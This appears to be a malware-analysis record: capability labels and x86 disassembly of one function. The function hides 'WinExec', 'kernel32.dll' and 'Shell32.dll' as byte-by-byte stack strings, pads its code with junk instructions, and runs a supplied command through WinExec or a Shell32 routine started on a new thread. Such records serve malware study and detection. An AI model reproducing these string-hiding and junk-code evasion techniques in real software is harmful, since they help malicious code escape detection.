Function at 0x10077880
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [0x101e5aec]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov cl, cl
cmp dword [ebp + 0x10], 0
jne 0x100779ab
cmp dword [0x101d08bc], 0xffff896c
mov byte [ebp - 0x110], 0x57
mov eax, eax
mov byte [ebp - 0x10f], 0x69
cmp dword [0x101d08b4], 0x5441
mov byte [ebp - 0x10e], 0x6e
push ebx
pop ebx
mov byte [ebp - 0x10d], 0x45
mov dh, dh
mov byte [ebp - 0x10c], 0x78
nop
mov byte [ebp - 0x10b], 0x65
mov ah, ah
mov byte [ebp - 0x10a], 0x63
cmp dword [0x101d08b4], 0x5441
mov byte [ebp - 0x109], 0
mov ebp, ebp
mov byte [ebp - 0x120], 0x6b
mov byte [ebp - 0x11f], 0x65
mov byte [ebp - 0x11e], 0x72
mov byte [ebp - 0x11d], 0x6e
mov byte [ebp - 0x11c], 0x65
mov byte [ebp - 0x11b], 0x6c
mov byte [ebp - 0x11a], 0x33
mov byte [ebp - 0x119], 0x32
mov byte [ebp - 0x118], 0x2e
mov byte [ebp - 0x117], 0x64
mov byte [ebp - 0x116], 0x6c
mov byte [ebp - 0x115], 0x6c
mov byte [ebp - 0x114], 0
mov edx, edx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov ecx, ecx
cmp dword [ebp - 8], 0
je 0x10077995
push 5
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 8]
mov edi, edi
mov dword [ebp - 4], 1
cmp dword [0x101d08d0], 0xffffb36b
jmp 0x10077c60
cmp dword [ebp + 0x10], 1
jne 0x10077c60
mov byte [ebp - 0x130], 0x53
mov byte [ebp - 0x12f], 0x68
mov byte [ebp - 0x12e], 0x65
mov byte [ebp - 0x12d], 0x6c
mov byte [ebp - 0x12c], 0x6c
mov byte [ebp - 0x12b], 0x33
mov byte [ebp - 0x12a], 0x32
mov byte [ebp - 0x129], 0x2e
mov byte [ebp - 0x128], 0x64
mov byte [ebp - 0x127], 0x6c
mov byte [ebp - 0x126], 0x6c
mov byte [ebp - 0x125], 0
mov ch, ch
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x124], eax
cmp dword [0x101d08c4], 0xab9
cmp dword [ebp - 0x124], 0
je 0x10077c60
push 0x3d
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x134], eax
mov edx, edx
cmp dword [ebp - 0x134], 0
je 0x10077c49
push 0xa00
call fcn.1012de1c
add esp, 4
mov dword [ebp - 0x138], eax
mov ch, ch
cmp dword [ebp - 0x138], 0
je 0x10077c49
push 0xa00
push 0
mov edx, dword [ebp - 0x138]
push edx
call fcn.1012ea60
add esp, 0xc
mov al, al
mov word [ebp - 0x160], 0x56
mov word [ebp - 0x15e], 0x76
mov word [ebp - 0x15c], 0x70
mov word [ebp - 0x15a], 0x56
mov word [ebp - 0x158], 0x4c
mov word [ebp - 0x156], 0x62
mov word [ebp - 0x154], 0x59
mov word [ebp - 0x152], 0x70
mov word [ebp - 0x150], 0x76
mov word [ebp - 0x14e], 0x46
mov word [ebp - 0x14c], 0x6e
mov word [ebp - 0x14a], 0x49
mov word [ebp - 0x148], 0x59
mov word [ebp - 0x146], 0x58
mov word [ebp - 0x144], 0x25
mov word [ebp - 0x142], 0x64
mov word [ebp - 0x140], 0
cmp dword [0x101d08c0], 0x5839
mov eax, dword [ebp + 8]
sub eax, 0x64
push eax
lea ecx, [ebp - 0x160]
push ecx
mov edx, dword [ebp - 0x138]
push edx
call fcn.10031450
add esp, 0xc
cmp dword [0x101d08c8], 0xffff89b0
push 0x400
mov eax, dword [ebp - 0x138]
add eax, 0x200
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp dword [0x101d08cc], 0xffffb203
call fcn.10044820
mov dword [ebp - 0x13c], eax
cmp dword [0x101d08c8], 0xffff89b0
push 0
push 0
mov edx, dword [ebp - 0x138]
push edx
push 0x100776e0
push 0
push 0
call fcn.101301c7
add esp, 0x18
mov dword [ebp - 0x164], eax
cmp dword [0x101d08c8], 0xffff89b0
mov eax, dword [ebp - 0x13c]
push eax
call fcn.10044920
add esp, 4
mov cl, cl
cmp dword [ebp - 0x164], 0
je 0x10077c38
push 1
push 0x10198aec
mov ecx, dword [ebp - 0x138]
push ecx
push 0
push 0
push 0
call dword [ebp - 0x134]
cmp dword [0x101d08d0], 0x4c94
push 0xffffffffffffffff
mov edx, dword [ebp - 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, ecx
mov eax, dword [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, ebp
mov dword [ebp - 4], 1
cmp dword [0x101d08bc], 0x7693
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.1012dedf
add esp, 4
mov ecx, ecx
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x101d08d4], 0x121
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1012e3ba
mov esp, ebp
pop ebp
ret